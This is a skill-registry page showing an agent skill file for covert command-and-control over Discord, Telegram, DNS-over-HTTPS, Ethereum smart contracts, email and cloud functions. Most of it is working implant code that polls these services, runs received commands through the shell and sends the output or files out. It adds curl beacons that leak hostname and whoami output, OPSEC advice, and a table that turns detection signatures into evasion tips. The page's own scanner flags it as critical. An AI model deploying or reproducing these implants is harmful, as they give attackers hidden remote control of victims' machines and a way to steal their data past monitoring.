CtrlK
BlogDocsLog inGet started
Tessl Logo

c2-alternative-channels

Non-traditional C2 channels — Discord/Telegram bots, DNS-over-HTTPS, blockchain-based C2, email-based C2, and cloud function dead drops for covert command and control.

62

Quality

73%

Does it follow best practices?

Run evals on this skill

Adds up to 20 points to the overall score

View guide

SecuritybySnyk

Critical

Do not install without reviewing

Fix and improve this skill with Tessl

tessl review fix ./packages/decepticon/decepticon/skills/standard/post-exploit/c2-alternative-channels/SKILL.md
SKILL.md
Quality
Evals
Security

Alternative C2 Channels

Non-traditional command-and-control channels leverage legitimate services as transport to evade network monitoring. By routing C2 through platforms that are whitelisted or too high-volume to block, operators bypass proxy inspection, domain reputation checks, and protocol-based detection.

Quick Reference

# Discord webhook C2 — post command output
curl -X POST -H "Content-Type: application/json" \
  -d "{\"content\":\"$(whoami)\"}" \
  "https://discord.com/api/webhooks/<WEBHOOK_ID>/<WEBHOOK_TOKEN>"

# Telegram bot C2 — poll for commands
curl -s "https://api.telegram.org/bot<BOT_TOKEN>/getUpdates" | jq '.result[-1].message.text'

# DNS-over-HTTPS exfil via Google
curl -s "https://dns.google/resolve?name=$(echo <DATA> | base64 | tr '+/' '-_').c2.<TARGET>&type=TXT"

MITRE ATT&CK Mapping

TechniqueIDUsage in Skill
Web ServiceT1102Discord, Telegram, cloud functions as C2 relay
Application Layer Protocol: DNST1071.004DNS-over-HTTPS for command/data tunneling
Application Layer Protocol: Mail ProtocolsT1071.003IMAP/SMTP email-based C2
Encrypted ChannelT1573TLS-wrapped comms to legitimate services

1. Discord Webhook C2

Discord webhooks provide fire-and-forget output exfiltration. Combined with a bot that reads channel messages, this creates a full bidirectional C2 channel over HTTPS to discord.com — a domain almost never blocked.

Setup

# Create a Discord server and channel for C2
# Settings > Integrations > Webhooks > New Webhook
# Copy webhook URL: https://discord.com/api/webhooks/<ID>/<TOKEN>

# Create a bot for command input:
# https://discord.com/developers/applications > New Application > Bot
# Enable MESSAGE CONTENT intent
# Invite bot to server with Send Messages + Read Message History

Implant Logic (Python)

#!/usr/bin/env python3
"""Discord C2 implant — polls channel for commands, posts output via webhook."""
import requests, subprocess, time, json, os

WEBHOOK_URL  = "https://discord.com/api/webhooks/<WEBHOOK_ID>/<WEBHOOK_TOKEN>"
BOT_TOKEN    = "<BOT_TOKEN>"
CHANNEL_ID   = "<CHANNEL_ID>"
HEADERS      = {"Authorization": f"Bot {BOT_TOKEN}"}
SLEEP        = 30
LAST_MSG_ID  = None

def poll_command():
    global LAST_MSG_ID
    url = f"https://discord.com/api/v10/channels/{CHANNEL_ID}/messages?limit=1"
    r = requests.get(url, headers=HEADERS)
    if r.status_code != 200:
        return None
    msgs = r.json()
    if not msgs:
        return None
    msg = msgs[0]
    if msg["id"] == LAST_MSG_ID:
        return None
    LAST_MSG_ID = msg["id"]
    return msg["content"]

def send_output(data):
    # Discord message limit is 2000 chars; chunk if needed
    for i in range(0, len(data), 1900):
        chunk = data[i:i+1900]
        requests.post(WEBHOOK_URL, json={"content": f"```\n{chunk}\n```"})

while True:
    cmd = poll_command()
    if cmd and cmd.startswith("!exec "):
        try:
            out = subprocess.check_output(
                cmd[6:], shell=True, stderr=subprocess.STDOUT, timeout=30
            ).decode(errors="replace")
        except subprocess.TimeoutExpired:
            out = "[TIMEOUT]"
        except Exception as e:
            out = f"[ERROR] {e}"
        send_output(out)
    time.sleep(SLEEP)

OPSEC Notes

  • All traffic goes to discord.com:443 — TLS-encrypted, CDN-hosted
  • Rate limit: ~5 requests/sec per webhook; space commands to avoid 429
  • Bot token exposure = full channel compromise; rotate after engagement
  • Discord logs message content — treat the channel as burned post-op

2. Telegram Bot C2

Telegram's Bot API provides reliable bidirectional C2 with built-in encryption, file transfer, and global CDN distribution.

Setup

# Create bot via @BotFather on Telegram:
#   /newbot -> name -> username -> receive BOT_TOKEN
# Get chat ID:
curl -s "https://api.telegram.org/bot<BOT_TOKEN>/getUpdates" | jq '.result[0].message.chat.id'

Implant Logic (Python)

#!/usr/bin/env python3
"""Telegram Bot C2 — long-poll getUpdates, execute, reply."""
import requests, subprocess, time

BOT_TOKEN = "<BOT_TOKEN>"
CHAT_ID   = "<CHAT_ID>"
API       = f"https://api.telegram.org/bot{BOT_TOKEN}"
OFFSET    = 0
SLEEP     = 15

def poll():
    global OFFSET
    r = requests.get(f"{API}/getUpdates", params={"offset": OFFSET, "timeout": 30})
    updates = r.json().get("result", [])
    for u in updates:
        OFFSET = u["update_id"] + 1
        text = u.get("message", {}).get("text", "")
        if text.startswith("/run "):
            yield text[5:]

def reply(text):
    # Telegram message limit: 4096 chars
    for i in range(0, len(text), 4000):
        requests.post(f"{API}/sendMessage", json={
            "chat_id": CHAT_ID,
            "text": f"```\n{text[i:i+4000]}\n```",
            "parse_mode": "Markdown"
        })

def upload(path):
    with open(path, "rb") as f:
        requests.post(f"{API}/sendDocument", data={"chat_id": CHAT_ID}, files={"document": f})

while True:
    for cmd in poll():
        if cmd.startswith("upload "):
            upload(cmd[7:])
            continue
        try:
            out = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT, timeout=60)
            reply(out.decode(errors="replace"))
        except Exception as e:
            reply(f"[ERROR] {e}")
    time.sleep(SLEEP)

Features

  • File exfil: sendDocument uploads files up to 50 MB
  • Long polling: getUpdates?timeout=30 reduces beacon frequency
  • Inline keyboards: Build interactive menus for operator convenience
  • OPSEC: Traffic to api.telegram.org over TLS; set bot privacy mode

3. DNS-over-HTTPS (DoH) C2

DNS-over-HTTPS encapsulates DNS queries inside HTTPS to providers like Google (dns.google) or Cloudflare (1.1.1.1). Since DoH bypasses traditional DNS monitoring (no UDP/53 inspection), it creates a covert channel.

Architecture

Implant -> HTTPS -> dns.google/resolve -> Authoritative NS (operator-controlled)
                                          ^
                                          | TXT records = encoded commands
                                          | A records   = encoded data

Implant Logic (Bash)

#!/bin/bash
# DoH C2 beacon — query operator's DNS for commands via Google DoH

C2_DOMAIN="c2.<TARGET>"
DOH_URL="https://dns.google/resolve"
SLEEP=60

encode() { echo -n "$1" | base64 | tr '+/=' '-_ ' | tr -d ' '; }
decode() { echo -n "$1" | tr '-_' '+/' | base64 -d 2>/dev/null; }

# Register implant
HOSTNAME=$(hostname)
IMPLANT_ID=$(encode "$HOSTNAME" | head -c 20)
curl -s "${DOH_URL}?name=${IMPLANT_ID}.reg.${C2_DOMAIN}&type=A" > /dev/null

while true; do
    # Poll for command
    RESP=$(curl -s "${DOH_URL}?name=${IMPLANT_ID}.cmd.${C2_DOMAIN}&type=TXT")
    CMD=$(echo "$RESP" | jq -r '.Answer[0].data // empty' | tr -d '"')

    if [ -n "$CMD" ]; then
        DECODED=$(decode "$CMD")
        OUTPUT=$(eval "$DECODED" 2>&1 | head -c 200)
        ENCODED=$(encode "$OUTPUT")

        # Exfil output via subdomain labels (max 63 chars per label)
        for chunk in $(echo "$ENCODED" | fold -w 60); do
            curl -s "${DOH_URL}?name=${chunk}.out.${IMPLANT_ID}.${C2_DOMAIN}&type=A" > /dev/null
        done
    fi
    sleep $SLEEP
done

DoH Providers

ProviderEndpointNotes
Googlehttps://dns.google/resolveJSON API, widely allowed
Cloudflarehttps://1.1.1.1/dns-queryWire format + JSON
Quad9https://dns.quad9.net:5053/dns-queryLess common, lower profile

Limitations

  • TXT records limited to 255 bytes per string (chain multiple)
  • DNS label max 63 chars, total FQDN max 253 chars
  • High-volume queries to operator domain may trigger DNS analytics

4. Blockchain-Based C2 (Ethereum Smart Contract)

Smart contracts on Ethereum (or other EVM chains) act as a censorship-resistant dead-drop. Commands are stored on-chain; the implant reads contract state via public RPC endpoints.

Smart Contract (Solidity)

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract C2 {
    address private owner;
    mapping(bytes32 => string) private commands;
    mapping(bytes32 => string) private responses;

    constructor() { owner = msg.sender; }

    modifier onlyOwner() { require(msg.sender == owner, ""); _; }

    function setCommand(bytes32 implantId, string calldata cmd) external onlyOwner {
        commands[implantId] = cmd;
    }

    function getCommand(bytes32 implantId) external view returns (string memory) {
        return commands[implantId];
    }

    function postResponse(bytes32 implantId, string calldata resp) external {
        responses[implantId] = resp;
    }

    function getResponse(bytes32 implantId) external view returns (string memory) {
        return responses[implantId];
    }
}

Implant Logic (Python)

#!/usr/bin/env python3
"""Ethereum smart contract C2 — read commands from chain, post results."""
from web3 import Web3
import subprocess, time, hashlib

RPC_URL      = "https://mainnet.infura.io/v3/<API_KEY>"  # or any public RPC
CONTRACT_ADDR = "<DEPLOYED_CONTRACT_ADDRESS>"
ABI          = [...]  # ABI from compilation
IMPLANT_ID   = Web3.keccak(text=__import__("socket").gethostname())

w3 = Web3(Web3.HTTPProvider(RPC_URL))
contract = w3.eth.contract(address=CONTRACT_ADDR, abi=ABI)

while True:
    cmd = contract.functions.getCommand(IMPLANT_ID).call()
    if cmd:
        try:
            out = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT, timeout=30)
            # Post response on-chain (requires funded wallet for gas)
            # For read-only implants, exfil via side channel instead
        except Exception as e:
            out = str(e).encode()
    time.sleep(300)

OPSEC Notes

  • Read operations are free — no wallet or gas needed to poll commands
  • Write operations cost gas — use a side channel (DNS, HTTP) for responses
  • Contract is public and immutable — use encryption for command/response data
  • Use Infura, Alchemy, or public RPC nodes; traffic looks like normal Web3 calls
  • Deploy on testnets (Sepolia) for testing; mainnet for real operations

5. Email-Based C2 (IMAP/SMTP)

Email C2 uses standard mail protocols. The implant logs into a shared mailbox, reads commands from emails, and replies with output. Traffic blends with normal corporate email.

Implant Logic (Python)

#!/usr/bin/env python3
"""Email C2 — read commands from IMAP inbox, send results via SMTP."""
import imaplib, smtplib, email, subprocess, time
from email.mime.text import MIMEText

IMAP_SERVER = "imap.gmail.com"
SMTP_SERVER = "smtp.gmail.com"
EMAIL_ADDR  = "<C2_EMAIL>@gmail.com"
EMAIL_PASS  = "<APP_PASSWORD>"
OPERATOR    = "<OPERATOR_EMAIL>"
SLEEP       = 120

def check_commands():
    imap = imaplib.IMAP4_SSL(IMAP_SERVER)
    imap.login(EMAIL_ADDR, EMAIL_PASS)
    imap.select("INBOX")
    _, nums = imap.search(None, "UNSEEN", f'FROM "{OPERATOR}"')
    commands = []
    for num in nums[0].split():
        _, data = imap.fetch(num, "(RFC822)")
        msg = email.message_from_bytes(data[0][1])
        body = msg.get_payload(decode=True).decode(errors="replace")
        commands.append(body.strip())
        imap.store(num, "+FLAGS", "\\Deleted")
    imap.expunge()
    imap.logout()
    return commands

def send_result(subject, body):
    msg = MIMEText(body)
    msg["Subject"] = subject
    msg["From"]    = EMAIL_ADDR
    msg["To"]      = OPERATOR
    with smtplib.SMTP_SSL(SMTP_SERVER, 465) as s:
        s.login(EMAIL_ADDR, EMAIL_PASS)
        s.send_message(msg)

while True:
    for cmd in check_commands():
        try:
            out = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT, timeout=60)
            send_result(f"RE: Report {time.strftime('%H%M')}", out.decode(errors="replace"))
        except Exception as e:
            send_result("RE: Error", str(e))
    time.sleep(SLEEP)

OPSEC Notes

  • Use app-specific passwords (Gmail) or OAuth tokens
  • Subject lines should mimic legitimate correspondence
  • Encrypt command/response body with AES; embed key in implant
  • IMAP IDLE (push) reduces polling frequency
  • Corporate Exchange/O365 via EWS or Graph API blends with enterprise traffic

6. Cloud Function Dead Drops (Serverless C2)

Serverless functions (AWS Lambda, Azure Functions, GCP Cloud Functions) act as C2 redirectors. The implant calls a legitimate cloud endpoint; the function relays to the operator.

AWS Lambda Relay

# Lambda function — relays between implant and operator S3 bucket
import boto3, json

s3 = boto3.client("s3")
BUCKET = "<C2_BUCKET>"

def lambda_handler(event, context):
    body = json.loads(event.get("body", "{}"))
    action = body.get("action")
    implant_id = body.get("id", "unknown")

    if action == "checkin":
        # Return pending command from S3
        try:
            obj = s3.get_object(Bucket=BUCKET, Key=f"cmd/{implant_id}")
            cmd = obj["Body"].read().decode()
            s3.delete_object(Bucket=BUCKET, Key=f"cmd/{implant_id}")
            return {"statusCode": 200, "body": json.dumps({"cmd": cmd})}
        except s3.exceptions.NoSuchKey:
            return {"statusCode": 200, "body": json.dumps({"cmd": ""})}

    elif action == "result":
        # Store command output
        s3.put_object(
            Bucket=BUCKET,
            Key=f"out/{implant_id}/{context.aws_request_id}",
            Body=body.get("data", "").encode()
        )
        return {"statusCode": 200, "body": "ok"}

Azure Functions Relay

# Same pattern as Lambda — uses Azure Blob Storage instead of S3.
# Endpoint: https://<APP>.azurewebsites.net/api/c2
# Storage: Azure Blob container for cmd/{implant_id} and out/{implant_id}
# SKU: Consumption plan (serverless, pay-per-execution)

Implant Calling Pattern

# Checkin — looks like normal API call to *.amazonaws.com or *.azurewebsites.net
curl -s -X POST "https://<FUNCTION_URL>/api/c2" \
  -H "Content-Type: application/json" \
  -d "{\"action\":\"checkin\",\"id\":\"$(hostname | md5sum | cut -c1-8)\"}"

# Post results
curl -s -X POST "https://<FUNCTION_URL>/api/c2" \
  -H "Content-Type: application/json" \
  -d "{\"action\":\"result\",\"id\":\"$(hostname | md5sum | cut -c1-8)\",\"data\":\"$(whoami | base64)\"}"

Detection Signatures

IndicatorPatternMitigation
Discord API callsOutbound HTTPS to discord.com/api/webhooksRotate webhooks; use bot API over multiple channels
Telegram API callsOutbound HTTPS to api.telegram.orgRoute through proxy; use MTProto instead of Bot API
High-frequency DoHRepeated dns.google/resolve with encoded subdomainsLower beacon rate; rotate DoH providers
Blockchain RPCJSON-RPC calls to Infura/Alchemy with eth_callUse public RPC endpoints; rotate providers
IMAP/SMTP patternsPeriodic login/logout cycles to mail serverUse IMAP IDLE; vary timing
Cloud function callsPeriodic POST to *.amazonaws.com / *.azurewebsites.netJitter timing; rotate function URLs
Base64 in DNS labelsEncoded subdomains in queriesUse custom encoding; fragment data

Error Handling & Edge Cases

IssueSymptomResolution
Discord rate limitHTTP 429 responsesImplement exponential backoff; reduce output frequency
Telegram bot blockedgetUpdates returns 409Only one poller per bot; use webhook mode instead
DoH provider blocksDNS queries return SERVFAILRotate to alternate DoH provider (Google/CF/Quad9)
Ethereum gas spikeTransaction pending indefinitelyUse read-only pattern; exfil via side channel
Email account lockedIMAP auth failureUse OAuth; avoid rapid login cycles
Lambda cold startFirst request takes 5-10 secondsUse provisioned concurrency or keep-alive pings
Cloud function rate limitHTTP 429 from API GatewayDistribute across multiple functions/regions
TLS inspectionProxy MITM breaks certificate pinningUse certificate pinning bypass or alternate transport

Decision Gate

What constraints exist on outbound traffic?
├── Web traffic only (HTTP/HTTPS whitelisted)
│   ├── Social media allowed?
│   │   ├── YES -> Discord or Telegram C2 (fastest setup)
│   │   └── NO  -> Cloud function relay (*.amazonaws.com usually allowed)
│   └── Cloud services allowed?
│       ├── YES -> AWS Lambda / Azure Functions dead drop
│       └── NO  -> Domain fronting (see c2-domain-fronting skill)
├── DNS allowed (UDP/53 or DoH)
│   ├── DoH to Google/Cloudflare reachable?
│   │   ├── YES -> DoH C2 channel
│   │   └── NO  -> Traditional DNS tunneling (see Sliver DNS)
│   └── Custom authoritative NS available?
│       └── YES -> Full DNS C2 with TXT record encoding
├── Email allowed (IMAP/SMTP/EWS)
│   ├── Corporate Exchange/O365?
│   │   └── Use Graph API or EWS — blends with enterprise mail
│   └── External mail (Gmail)?
│       └── Email C2 with app passwords
└── Maximum stealth required
    ├── Blockchain C2 (censorship-resistant, no takedown)
    └── Combine channels: DoH for commands, Discord for exfil

Tools & Resources

ToolPurposeSource
SlackorSlack-based C2 frameworkhttps://github.com/Coalfire-Research/Slackor
DVMC2Discord/Virus Total C2https://github.com/3xpl01tc0d3r/DVMC2
GcatGmail C2 channelhttps://github.com/byt3bl33d3r/gcat
DNScat2DNS tunnel C2https://github.com/iagox86/dnscat2
godohDNS-over-HTTPS C2https://github.com/sensepost/godoh
TrevorC2Legitimate website C2https://github.com/trustedsec/trevorc2
MythicMulti-channel C2 frameworkhttps://github.com/its-a-feature/Mythic
C3Custom C2 channel frameworkhttps://github.com/FSecureLABS/C3
Repository
PurpleAILAB/Decepticon
Last updated
First committed

Is this your skill?

If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.